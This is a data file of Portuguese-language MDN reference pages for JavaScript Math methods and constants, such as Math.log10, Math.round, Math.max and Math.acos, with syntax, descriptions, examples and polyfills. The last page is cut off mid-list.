{"title":"Math.log10() - JavaScript","text":"Math.log10()\n============\n\nA função **`Math.log10()`** retorna o logaritmo de base 10 de um número, que é\n\n\n\n∀\nx\n>\n0\n,\n\nMath.log10\n(\nx\n)\n\n=\n\nlog\n10\n\n(\nx\n)\n=\nthe unique\n\ny\n\nsuch that\n\n10\ny\n\n=\nx\n\n\\forall x > 0, \\mathtt{\\operatorname{Math.log10}(x)} = \\log\\_10(x) = \\text{the unique} ; y ; \\text{such that} ; 10^y = x\n\nSintaxe\n-------\n```\n\nMath.log10(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Retorno\n\nO logaritmo de base 10 de um número. Caso o número seja negativo, `NaN` é retornado.\n\nDescrição\n---------\n\nCaso o valor de `x` seja menor que 0, então o retorno será sempre `NaN`.\n\nPor `log10()` ser um método estático de `Math`, você sempre o usará como `Math.log10()`, ao invés de usá-lo como método de um objeto `Math` criado (`Math` não é um construtor).\n\nEsta função é equivalente a Math.log(x) / Math.log(10). Para log10(e) use a constante `Math.LOG10E` que é 1 / `Math.LN10`.\n\nExemplos\n--------\n\n### Usando `Math.log10()`\n\n\n```js\nMath.log10(2); // 0.3010299956639812\nMath.log10(1); // 0\nMath.log10(0); // -Infinity\nMath.log10(-2); // NaN\nMath.log10(100000); // 5\n```\n\nPolyfill\n--------\n\nIsso pode ser simulado a partir da seguinte função:\n\n\n```js\nMath.log10 =\n  Math.log10 ||\n  function (x) {\n    return Math.log(x) \\* Math.LOG10E;\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.log10 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.exp()`\n* `Math.log()`\n* `Math.log1p()`\n* `Math.log2()`\n* `Math.pow()`"}
{"title":"Math.acosh() - JavaScript","text":"Math.acosh()\n============\n\nA função Math.acosh() retorna o arco cosseno hiperbólico de um número, onde\n\n\n\n∀\nx\n≥\n1\n,\n\nMath.acosh\n(\nx\n)\n\n=\narcosh\n(\nx\n)\n=\n the unique \n\ny\n≥\n0\n\nsuch that\n\ncosh\n(\ny\n)\n=\nx\n\n\\forall x \\geq 1, \\mathtt{\\operatorname{Math.acosh}(x)} = \\operatorname{arcosh}(x) = \\text{ the unique } ; y \\geq 0 ; \\text{such that} ; \\cosh(y) = x\n\nSintaxe\n-------\n```\n\nMath.acosh(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor retornado\n\nThe hyperbolic arc-cosine of the given number. If the number is less than **1**, `NaN`.\n\nO arco cosseno hiperbólico do número recebido. Se o número for menor que 1, `NaN` é retornado.\n\nDescrição\n---------\n\nPor `acosh()` ser um método estático de `Math`, deve-se sempre usá-lo como `Math.acosh()`, e não como um método de um objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Usando `Math.acosh()`\n\n\n```js\nMath.acosh(-1); // NaN\nMath.acosh(0); // NaN\nMath.acosh(0.5); // NaN\nMath.acosh(1); // 0\nMath.acosh(2); // 1.3169578969248166\n```\n\n\nFor values less than 1 `Math.acosh()` returns `NaN`.\n\nPara valores menores que 1, `Math.acosh()` retornará `NaN`.\n\nPolyfill\n--------\n\nPara todo \n\n\nx\n≥\n1\n\nx \\geq 1\n\n, temos \n\n\narcosh\n(\nx\n)\n=\nln\n\n(\n\nx\n+\n\nx\n2\n\n-\n1\n\n)\n\n\\operatorname {arcosh} (x) = \\ln \\left(x + \\sqrt{x^{2} - 1} \\right)\n\n. Dessa maneira, este comportamento pode ser emulado da seguinte maneira:\n\n\n```js\nMath.acosh =\n  Math.acosh ||\n  function (x) {\n    return Math.log(x + Math.sqrt(x \\* x - 1));\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.acosh |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Math.asinh()`\n* `Math.atanh()`\n* `Math.cosh()`\n* `Math.sinh()`\n* `Math.tanh()`"}
{"title":"Math.log() - JavaScript","text":"Math.log()\n==========\n\nA função **`Math.log()`** retorna o logaritmo natural(base `e`) de um número, que é:\n\n\n\n∀\nx\n>\n0\n,\n\nMath.log\n(\nx\n)\n\n=\nln\n(\nx\n)\n=\nthe unique\n\ny\n\nsuch that\n\ne\ny\n\n=\nx\n\n\\forall x > 0, \\mathtt{\\operatorname{Math.log}(x)} = \\ln(x) = \\text{the unique} ; y ; \\text{such that} ; e^y = x\n\nSintaxe\n-------\n```\n\nMath.log(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Retorno\n\nO logaritmo natural (base `e`) de um número dado. Se o número é negativo, `NaN` é retornado.\n\nDescrição\n---------\n\nSe o valor de `x` é negativo, o retorno será sempre `NaN`.\n\nPor `log()` ser um método estático de `Math`, você sempre o usará como `Math.log()`, ao invés de um método de um objeto de `Math` que você criou(`Math` não é um construtor).\n\nCaso você precise do logaritmo natural de 2 ou 10, use as constantes `Math.LN2` ou `Math.LN10` . Caso você precise de um logaritmo de base 2 ou 10, use `Math.log2()` ou `Math.log10()` . Caso você precise utilizar logaritmo de outras bases, use Math.log(x) / Math.log(outraBase) como no exemplo abaixo; talvez você queira pré-calcular 1 / Math.log(outraBase) .\n\nExemplos\n--------\n\n### Usando `Math.log()`\n\n\n```js\nMath.log(-1); // NaN, out of range\nMath.log(0); // -Infinity\nMath.log(1); // 0\nMath.log(10); // 2.302585092994046\n```\n\n### Usando `Math.log()` como uma base diferente\n\nAs funções a seguir retornam o logaritmo de `y` na base `x` (ie. \n\n\nlog\nx\n\ny\n\n\\log\\_x y\n\n):\n\n\n```js\nfunction getBaseLog(x, y) {\n  return Math.log(y) / Math.log(x);\n}\n```\n\n\nCaso você execute `getBaseLog(10, 1000)` será retornado `2.9999999999999996` devido ao arredondamento de ponto-flutuante, o qual é bem próximo do retorno exato de 3.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.log |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.exp()`\n* `Math.log1p()`\n* `Math.log10()`\n* `Math.log2()`\n* `Math.pow()`"}
{"title":"Math.sin() - JavaScript","text":"Math.sin()\n==========\n\nA função **`Math.sin()`** retorna o seno de um número.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nMath.sin(x)\n```\n\n### Paramêtros\n\n`x`\n\nUm número (dado em radianos)\n\n### Valor retornado\n\nO seno de um número dado.\n\nDescrição\n---------\n\nO método `Math.sin()` retorna um valor numérico entre -1 e 1, que representa o seno de um angulo dado em radianos.\n\nComo `sin()` é um método estático de `Math`, você sempre o usa como `Math.sin()`, ao invés de um método de um objeto Math que você criou (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.sin()`\n\n\n```js\nMath.sin(0); // 0\nMath.sin(1); // 0.8414709848078965\n\nMath.sin(Math.PI / 2); // 1\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.sin |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.acos()`\n* `Math.asin()`\n* `Math.atan()`\n* `Math.atan2()`\n* `Math.cos()`\n* `Math.tan()`"}
{"title":"Math.round() - JavaScript","text":"Math.round()\n============\n\nResumo\n------\n\nA função **`Math.round()`** retorna o valor de um número arredondado para o inteiro mais proximo.\n\nSintaxe\n-------\n```\n\n Math.round(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Retorno\n\nO valor de um número dado aproximado para o inteiro mais próximo\n\nDescrição\n---------\n\nSe a parte fracionária do número for maior ou igual a 0.5, o argumento x é arredondado para o próximo número inteiro acima, entretanto se a parte fracionária do `número` for menor que 0.5, então o valor de x é arredondado para o próximo número inteiro abaixo. Se a parte fracionária for exatamente igual a 0.5, o número é arredondado para o próximo inteiro na direção de +∞.\n\nPor `round` ser um método estático de `Math`, você sempre irá usá-lo como `Math.round()`, ao invés de usá-lo como um método da instância do objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Exemplo: Uso de `Math.round`\n\n\n```js\n// Retorna o valor 20\nx = Math.round(20.49);\n\n// Retorna o valor 21\nx = Math.round(20.5);\n\n// Retorna o valor -20\nx = Math.round(-20.5);\n\n// Retorna o valor -21\nx = Math.round(-20.51);\n\n// Retorna 1 (!)\n// Note o erro de arredondamento por causa da inacurácia de aritmética de ponto flutuante\n// Compare o exemplo abaixo com Math.round(1.005, -2)\nx = Math.round(1.005 \\* 100) / 100;\n```\n\n### Exemplo: Arredondamento decimal\n\n\n```js\n// Closure\n(function () {\n  /\\*\\*\n \\* Ajuste decimal de um número.\n \\*\n \\* @param {String} type O tipo de arredondamento.\n \\* @param {Number} value O número a arredondar.\n \\* @param {Integer} exp O expoente (o logaritmo decimal da base pretendida).\n \\* @returns {Number} O valor depois de ajustado.\n \\*/\n  function decimalAdjust(type, value, exp) {\n    // Se exp é indefinido ou zero...\n    if (typeof exp === \"undefined\" || +exp === 0) {\n      return Math[type](value);\n    }\n    value = +value;\n    exp = +exp;\n    // Se o valor não é um número ou o exp não é inteiro...\n    if (isNaN(value) || !(typeof exp === \"number\" && exp % 1 === 0)) {\n      return NaN;\n    }\n    // Transformando para string\n    value = value.toString().split(\"e\");\n    value = Math[type](+(value[0] + \"e\" + (value[1] ? +value[1] - exp : -exp)));\n    // Transformando de volta\n    value = value.toString().split(\"e\");\n    return +(value[0] + \"e\" + (value[1] ? +value[1] + exp : exp));\n  }\n\n  // Arredondamento decimal\n  if (!Math.round) {\n    Math.round = function (value, exp) {\n      return decimalAdjust(\"round\", value, exp);\n    };\n  }\n  // Decimal arredondado para baixo\n  if (!Math.floor) {\n    Math.floor = function (value, exp) {\n      return decimalAdjust(\"floor\", value, exp);\n    };\n  }\n  // Decimal arredondado para cima\n  if (!Math.ceil) {\n    Math.ceil = function (value, exp) {\n      return decimalAdjust(\"ceil\", value, exp);\n    };\n  }\n})();\n\n// Round (arredondamento)\nMath.round(55.55, -1); // 55.6\nMath.round(55.549, -1); // 55.5\nMath.round(55, 1); // 60\nMath.round(54.9, 1); // 50\nMath.round(-55.55, -1); // -55.5\nMath.round(-55.551, -1); // -55.6\nMath.round(-55, 1); // -50\nMath.round(-55.1, 1); // -60\nMath.round(1.005, -2); // 1.01 -- compare este resultado com Math.round(1.005\\*100)/100 no exemplo acima\n// Floor (para baixo)\nMath.floor(55.59, -1); // 55.5\nMath.floor(59, 1); // 50\nMath.floor(-55.51, -1); // -55.6\nMath.floor(-51, 1); // -60\n// Ceil (para cima)\nMath.ceil(55.51, -1); // 55.6\nMath.ceil(51, 1); // 60\nMath.ceil(-55.59, -1); // -55.5\nMath.ceil(-59, 1); // -50\n```\n\n### Método de arredondamento PHP\n\nO código abaixo pode ser utilizado para adicionar sua própria versão do Math.round ao seu namespace no qual tenha um parâmetro de precisão. Diferentemente do arredondamento decimal do exemplo acima, esse método não realiza conversão de e para strings, e o parâmetro de precisão funciona da mesma maneira que PHP e Excel onde um positivo 1 seria arredondado para 1 casa decimal e -1 seria arredondado para os decimais.\n```\n\nvar myNamespace = {};\n\nmyNamespace.round = function(number, precision) {\n    var factor = Math.pow(10, precision);\n    var tempNumber = number * factor;\n    var roundedTempNumber = Math.round(tempNumber);\n    return roundedTempNumber / factor;\n};\n\nmyNamespace.round(1234.5678, 1); // 1234.6\nmyNamespace.round(1234.5678, -1); // 1230\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.round |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.abs()`\n* `Math.ceil()`\n* `Math.floor()`"}
{"title":"Math.tan() - JavaScript","text":"Math.tan()\n==========\n\nResumo\n------\n\nA função **`Math.tan()`** retorna a tangente de um número.\n\nSintaxe\n-------\n```\n\nMath.tan(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número representando um ângulo em radianos.\n\nDescrição\n---------\n\nO método `tan` retorna um valor numérico que representa a tangente do ângulo.\n\nComo `tan` é um método estático de `Math`, use sempre `Math.tan()`, ao invés de um método de um objeto `Math` que você tenha criado.\n\nExemplos\n--------\n\n### Exemplo: Usando `Math.tan`\n\nA seguinte função retorna a tangente da variável `x`:\n\n\n```js\nfunction getTan(x) {\n  return Math.tan(x);\n}\n```\n\n\nComo a função `Math.tan()` trabalha com radianos, mas normalment epe mais fácil trabalhar em graus, a seguinte função aceita um valor em graus, converte-o para radianos e retorna a tangente.\n\n\n```js\nfunction getTanDeg(deg) {\n  var rad = (deg \\* Math.PI) / 180;\n  return Math.tan(rad);\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.tan |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Math.sqrt() - JavaScript","text":"Math.sqrt()\n===========\n\nResumo\n------\n\nA função **Math.sqrt()** retorna a raiz quadrada de um número (\n\n\nx\n\n\\sqrt{x}\n\n) .\n\nSintaxe\n-------\n```\n\nMath.sqrt(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor retornado\n\nA raiz quadrada do número recebido. Se o número for negativo, a função retornará `NaN`.\n\nDescrição\n---------\n\nSe o valor de `x` for negativo, `Math.sqrt()` retorna `NaN`.\n\nPor `sqrt` ser um método estático de `Math`, deve-se sempre usá-lo como `Math.sqrt()`, e não como um método de um objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Exemplo: Usando `Math.sqrt`\n\n\n```js\nMath.sqrt(9); // 3\nMath.sqrt(2); // 1.414213562373095\n\nMath.sqrt(1); // 1\nMath.sqrt(0); // 0\nMath.sqrt(-1); // NaN\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.sqrt |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Math.cbrt()`\n* `Math.exp()`\n* `Math.log()`\n* `Math.pow()`"}
{"title":"Math.cosh() - JavaScript","text":"Math.cosh()\n===========\n\nA função **`Math.cosh()`** retorna o cosseno hiperbólico de um número, que pode ser expressada usando constante e:\n\n\nMath.cosh(x)\n\n=\n\ne\nx\n\n+\n\ne\n\n-\nx\n\n2\n\n\\mathtt{\\operatorname{Math.cosh(x)}} = \\frac{e^x + e^{-x}}{2}\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nMath.cosh(x)\n```\n\n### Parâmetros\n\n**`x`**\n\nUm número.\n\n### Valor de retorno\n\nO cosseno hiperbólico do número dado.\n\nDescrição\n---------\n\nPor `cosh()` ser um método estático de `Math`, sempre utilize como `Math.cosh()`, ao invés de como um método de um objeto `Math` que você criou (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.cosh()`\n\n\n```js\nMath.cosh(0); // 1\nMath.cosh(1); // 1.5430806348152437\nMath.cosh(-1); // 1.5430806348152437\n```\n\nPolyfill\n--------\n\nIsto pode ser emulado com a ajuda da função `Math.exp()`:\n\n\n```js\nMath.cosh =\n  Math.cosh ||\n  function (x) {\n    return (Math.exp(x) + Math.exp(-x)) / 2;\n  };\n```\n\n\nou usando apenas uma chamada da função `Math.exp()`:\n\n\n```js\nMath.cosh =\n  Math.cosh ||\n  function (x) {\n    var y = Math.exp(x);\n    return (y + 1 / y) / 2;\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.cosh |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Math.acosh()`\n* `Math.asinh()`\n* `Math.atanh()`\n* `Math.sinh()`\n* `Math.tanh()`"}
{"title":"Math.SQRT1_2 - JavaScript","text":"Math.SQRT1\\_2\n=============\n\nA propriedade `Math.SQRT1_2` representa a raiz quadrada de \n\n\n1\n2\n\n\\frac{1}{2}\n\n, que é aproximadamente 0.707:\n\n\n\nMath.SQRT1\\_2\n\n=\n\n1\n2\n\n=\n\n1\n\n2\n\n≈\n0.707\n\n\\mathtt{\\mi{Math.SQRT1\\_2}} = \\sqrt{\\frac{1}{2}} = \\frac{1}{\\sqrt{2}} \\approx 0.707\n\n\n\n| Property attributes of `Math.SQRT1_2` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nPor `SQRT1_2` ser um método estático de `Math`, deve-se sempre usá-lo como `Math.SQRT1_2()`, e não como um método de um objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Usando `Math.SQRT1_2`\n\nA função a seguir retorna 1 sobre a raiz quadrada de 2:\n\n\n```js\nfunction getRoot1\\_2() {\n  return Math.SQRT1\\_2;\n}\n\ngetRoot1\\_2(); // 0.7071067811865476\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.sqrt1\\_2 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.pow()`\n* `Math.sqrt()`"}
{"title":"Math.pow() - JavaScript","text":"Math.pow()\n==========\n\nA função **`Math.pow()`** retorna a *base* elevada ao expoente *power*, ou seja, `baseexpoente`.\n\nSintaxe\n-------\n```\n\nMath.pow(base, expoente)\n```\n\n### Parâmetros\n\n`base`\n\nO número da base.\n\n`expoente`\n\nO expoente usado para elevar a `base`.\n\nDescrição\n---------\n\nComo `pow()` é um método estático de `Math`, você sempre irá usá-lo como `Math.pow()`, ao invés de usá-lo como um método de um objeto do tipo `Math` que você tenha criado (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.pow()`\n\n\n```js\n// simples\nMath.pow(7, 2); // 49\nMath.pow(7, 3); // 343\nMath.pow(2, 10); // 1024\n// expoentes fracionários\nMath.pow(4, 0.5); // 2 (raiz quadrada de 4)\nMath.pow(8, 1 / 3); // 2 (raiz cúbica de 8)\nMath.pow(2, 0.5); // 1.4142135623730951 (raiz quadrada de 2)\nMath.pow(2, 1 / 3); // 1.2599210498948732 (raiz cúbica de 2)\n// expoentes com sinais\nMath.pow(7, -2); // 0.02040816326530612 == (1/7)2 == (1/49)\nMath.pow(8, -1 / 3); // 0.5 == (1/8)1/3 == 1/2\n// bases com sinal\nMath.pow(-7, 2); // 49 (quadrados sempre são positivos)\nMath.pow(-7, 3); // -343 (cubos podem ser negativos conforme a base)\nMath.pow(-7, 0.5); // NaN (números negativos não tem uma raiz quadrada real)\n// devido ao fato que raízes \"par\" e \"ímpar\" são próximas,\n// e limitam a precisão de ponto flutuante,\n// bases negativas com expoentes fracionários sempre retornam NaN\nMath.pow(-7, 1 / 3); // NaN\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.pow |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.cbrt()` \nExperimental\n* `Math.exp()`\n* `Math.log()`\n* `Math.sqrt()`\n* Operador Exponencial (en-US) \nExperimental"}
{"title":"Math.atan() - JavaScript","text":"Math.atan()\n===========\n\nA função **`Math.atan()`** retorna a arco tangente (em radianos) de um número, onde\n\n\n\nMath.atan\n(\nx\n)\n\n=\narctan\n(\nx\n)\n=\n the unique \n\ny\n∊\n\n[\n\n-\n\nπ\n2\n\n;\n\nπ\n2\n\n]\n\nsuch that\n\ntan\n(\ny\n)\n=\nx\n\n\\mathtt{\\operatorname{Math.atan}(x)} = \\arctan(x) = \\text{ the unique } ; y \\in \\left[-\\frac{\\pi}{2}; \\frac{\\pi}{2}\\right] , \\text{such that} ; \\tan(y) = x\n\nSintaxe\n-------\n```\n\nMath.atan(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor retornado\n\nO arco tangente (em radianos) do parâmetro recebido.\n\nDescrição\n---------\n\nO método `Math.atan()` retorna um valor numérico entre \n\n\n-\n\nπ\n2\n\n-\\frac{\\pi}{2}\n\n e \n\n\nπ\n2\n\n\\frac{\\pi}{2}\n\n radianos.\n\nPor `atan()` ser um método estático de `Math`, deve-se sempre usá-lo como `Math.atan()`, e não como um método de um objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Usando `Math.atan()`\n\n\n```js\nMath.atan(1); // 0.7853981633974483\nMath.atan(0); // 0\nMath.atan(-0); // -0\n\nMath.atan(Infinity); // 1.5707963267948966\nMath.atan(-Infinity); // -1.5707963267948966\n\n// The angle that the line [(0,0);(x,y)] forms with the x-axis in a Cartesian coordinate system\nMath.atan(y / x);\n```\n\n\nTalvez você queira evitar usar **±**`Infinity` por motivos estéticos. Nesse caso, `Math.atan2()` com `0` como segundo parâmentro pode ser uma solução melhor.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.atan |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.acos()`\n* `Math.asin()`\n* `Math.atan2()`\n* `Math.cos()`\n* `Math.sin()`\n* `Math.tan()`"}
{"title":"Math.LOG10E - JavaScript","text":"Math.LOG10E\n===========\n\nA propriedade **`Math.LOG10E`** representa o logaritmo com base 10 de `e`, aproximadamente 0.434:\n\n\nMath.LOG10E\n\n=\n\nlog\n10\n\n(\ne\n)\n≈\n0.434\n\n\\mathtt{\\mi{Math.LOG10E}} = \\log\\_10(e) \\approx 0.434\n\n\n\n| Property attributes of `Math.LOG10E` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nPor `LOG10E` ser uma propriedade estática de `Math`, deve-se sempre usá-la como `Math.LOG10E`, e não como propriedade de um objeto `Math` criado por você (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.LOG10E`\n\nA função a seguir retorna o logaritmo com base 10 de `e`:\n\n\n```js\nfunction getLog10e() {\n  return Math.LOG10E;\n}\n\ngetLog10e(); // 0.4342944819032518\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.log10e |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.exp()`\n* `Math.log()`\n* `Math.log10()`"}
{"title":"Math.min() - JavaScript","text":"Math.min()\n==========\n\nA função **`Math.min()`** retorna o menor valor passado como parâmetro, ou `NaN` se o parâmetro não é ou não pode ser convertido para um número.\n\nSyntax\n------\n```\n\nMath.min([valor1[, valor2[, ...]]])\n```\n\n### Parâmetros\n\n`valor1, valor2, ...`\n\nNúmeros.\n\nDescrição\n---------\n\nPor que `min()` é um método estático de `Math`, você sempre usa como `Math.min()`, e não como um método de um objeto `Math` que você criou (`Math` não é um construtor).\n\nSe nenhum argumento for dado, o resultado é `Infinity`.\n\nSe pelo menos um dos argumentos não pode ser convertido para um número, o resultado é `NaN`.\n\nExemplos\n--------\n\n### Usando `Math.min()`\n\nEste encontra o min de `x` e `y` e atribui a `z` :\n```\n\nvar x = 10, y = -20;\nvar z = Math.min(x, y);\n```\n\n### Cortando um valor com `Math.min()`\n\n`Math.min()` é muitas vezes usado para cortar um valor sempre menor do que ou igual a um limite. Por exemplo, este.\n```\n\nvar x = f(foo);\n\nif (x > boundary) {\n  x = boundary;\n}\n```\n\n\npode ser escrita como este\n```\n\nvar x = Math.min(f(foo), boundary);\n```\n\n\n`Math.max()` pode ser usado de uma maneira semelhante ao corte de um valor na outra extremidade.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.min |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `Math.max()`"}
{"title":"Math.max() - JavaScript","text":"Math.max()\n==========\n\nSumário\n-------\n\nA função **`Math.max()`** retorna o maior de um ou mais números.\n\nSintaxe\n-------\n```\n\nMath.max([valor1[,valor2, ...]])\n```\n\n### Parâmetros\n\n`valor1, valor2, ...`\n\nNúmeros.\n\n### Valor de retorno\n\nO maior dos números passados como argumentos. Se pelo menos um dos argumentos não puder ser convertido para um número `NaN` é retornado.\n\nDescrição\n---------\n\nPor `max` ser um método estático em `Math`, você sempre irá usá-lo da seguinte maneira `Math.max()`, e não como um método da classe `Math` que você tenha instanciado.\n\nSe nenhum argumento for passado o resultado sempre será - `Infinity`.\n\nSe um dos argumentos não puder ser convertido em um número, o resultado será `NaN`.\n\nExemplos\n--------\n\n### Usando `Math.max`\n\n\n```js\nMath.max(10, 20); // 20\nMath.max(-10, -20); // -10\nMath.max(-10, 20); // 20\n```\n\n### Retornando o maior elemento de um array\n\n`Array.reduce()` pode ser usada para encontrar o maior elemento em um vetor numérico, comparando cada valor:\n\n\n```js\nvar arr = [1, 2, 3];\nvar max = arr.reduce(function (a, b) {\n  return Math.max(a, b);\n}, -Infinity);\n```\n\n\nA função a seguir utiliza `Function.prototype.apply()` para encontrar o elemento de maior valor dentro do array. `getMaxOfArray([1,2,3])` é equivalente a `Math.max(1, 2, 3)`, mas você pode usar `getMaxOfArray` em arrays construídos programaticamente e o ideal é utilizá-la somente em arrays com relativamente poucos elementos.\n\n\n```js\nfunction getMaxOfArray(numArray) {\n  return Math.max.apply(null, numArray);\n}\n```\n\n\nO novo operador spread (en-US) é um modo curto de se escrever a solução com `apply` para retornar o maior valor de um array.\n\n\n```js\nvar arr = [1, 2, 3];\nvar max = Math.max(...arr);\n// max: 3\n```\n\n\nEntretanto, tanto spread(`...`) quanto `apply` irão ou falhar ou retornar o resultado errado caso o array tenha muitos elementos, porque eles tentam passar o array de elementos como parâmetros de funções. Veja usando apply e funções embutidas para mais detalhes. A solução com `reduce` não apresenta esse problema.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.max |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto `Math` pertence a.\n* `Math.min()`"}
{"title":"Math.LOG2E - JavaScript","text":"Math.LOG2E\n==========\n\nA propriedade **`Math.LOG2E`** representa o logaritmo com base 2 de `e`, aproximadamente 1.442:\n\n\nMath.LOG2E\n\n=\n\nlog\n2\n\n(\ne\n)\n≈\n1.442\n\n\\mathtt{\\mi{Math.LOG2E}} = \\log\\_2(e) \\approx 1.442\n\n\n\n| Property attributes of `Math.LOG2E` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nPor `LOG2E` ser uma propriedade estática de `Math`, deve-se sempre usá-la como `Math.LOG2E`, e não como propriedade de um objeto `Math` criado por você (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.LOG2E`\n\nA função a seguir retorna o logaritmo com base 2 de `e`:\n\n\n```js\nfunction getLog2e() {\n  return Math.LOG2E;\n}\n\ngetLog2e(); // 1.4426950408889634\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.log2e |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.exp()`\n* `Math.log()`\n* `Math.log2()`"}
{"title":"Math.acos() - JavaScript","text":"Math.acos()\n===========\n\nA função **`Math.acos()`** retorna o arco cosseno (em radianos de um numero, sendo esse\n\n\n\n∀\nx\n∊\n[\n\n-\n1\n\n;\n1\n]\n,\n\nMath.acos\n(\nx\n)\n\n=\narccos\n(\nx\n)\n=\n the unique \n\ny\n∊\n[\n0\n;\nπ\n]\n\nsuch that\n\ncos\n(\ny\n)\n=\nx\n\n\\forall x \\in [{-1};1],;\\mathtt{\\operatorname{Math.acos}(x)} = \\arccos(x) = \\text{ O unico } ; y \\in [0; \\pi] , \\text{such that} ; \\cos(y) = x\n\nSyntax\n------\n```\n\nMath.acos(x)\n```\n\n### Parâmetros\n\nUm numero.\n\n### Retorno\n\nO arco cosseno(em radianos) se o valor passado como parâmetro for entre -1 e 1; caso contrario retornará `NaN`.\n\nDescription\n-----------\n\nO `Math.acos()` metodo retorna um numero entre 0 e π radians para valores passado como parâmetros entre -1 e 1. Se o valor estiver fora dessa variação será retornado `NaN`.\n\nPorque `acos() é um metodo estático`, você sempre usará `Math.acos() ao invés de criar um Objecto Math(Math não é um construtor).`\n\nExemplos\n--------\n\n### Usando `Math.acos()`\n\n\n```js\nMath.acos(-2); // NaN\nMath.acos(-1); // 3.141592653589793\nMath.acos(0); // 1.5707963267948966\nMath.acos(0.5); // 1.0471975511965979\nMath.acos(1); // 0\nMath.acos(2); // NaN\n```\n\n\nPara valores menores que -1 ou maiores que than 1, `Math.acos()` o método retornrá `NaN`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.acos |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* 